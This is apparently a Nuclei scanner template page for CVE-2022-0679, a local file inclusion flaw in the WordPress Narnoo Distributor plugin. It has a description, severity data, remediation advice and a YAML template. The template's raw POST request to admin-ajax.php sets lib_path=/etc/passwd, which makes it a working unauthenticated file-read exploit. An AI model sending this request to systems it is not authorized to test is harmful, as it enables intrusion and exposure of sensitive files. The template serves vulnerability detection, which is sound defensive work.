WordPress Narnoo Distributor <=2.5.1 - Local File Inclusion

ID: CVE-2022-0679

Severity: critical

Author: Veshraj

Tags: cve,cve2022,narnoo-distributor,wordpress,wp-plugin,wpscan,wp,rce,unauth,lfi,narnoo_distributor_project

Description

WordPress Narnoo Distributor plugin 2.5.1 and prior is susceptible to local file inclusion. The plugin does not validate and sanitize the lib_path parameter before being passed into a call to require() via the narnoo_distributor_lib_request AJAX action, and the content of the file is displayed in the response as JSON data. This can also lead to a remote code execution vulnerability depending on system and configuration.

YAML Source

id: CVE-2022-0679

info:
  name: WordPress Narnoo Distributor <=2.5.1 - Local File Inclusion
  author: Veshraj
  severity: critical
  description: |
    WordPress Narnoo Distributor plugin 2.5.1 and prior is susceptible to local file inclusion. The plugin does not validate and sanitize the lib_path parameter before being passed into a call to require() via the narnoo_distributor_lib_request AJAX action, and the content of the file is displayed in the response as JSON data. This can also lead to a remote code execution vulnerability depending on system and configuration.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
  remediation: |
    Update to the latest version of the WordPress Narnoo Distributor plugin (>=2.5.2) to mitigate the LFI vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0ea79eb1-6561-4c21-a20b-a1870863b0a8
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0679
    - https://github.com/cyllective/CVEs
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0679
    cwe-id: CWE-22
    epss-score: 0.03099
    epss-percentile: 0.90827
    cpe: cpe:2.3:a:narnoo_distributor_project:narnoo_distributor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: narnoo_distributor_project
    product: narnoo_distributor
    framework: wordpress
  tags: cve,cve2022,narnoo-distributor,wordpress,wp-plugin,wpscan,wp,rce,unauth,lfi,narnoo_distributor_project

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        action=narnoo_distributor_lib_request&lib_path=/etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e33b554bfe86f84f9806c2020adbb950ec18cdcf5dc9a4732a2f8fc99948c7e1022045573ab5124e923086e6b09d9af98e0803a0a1951934cf7a796dd417e311f44a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0679.yaml"

View on Github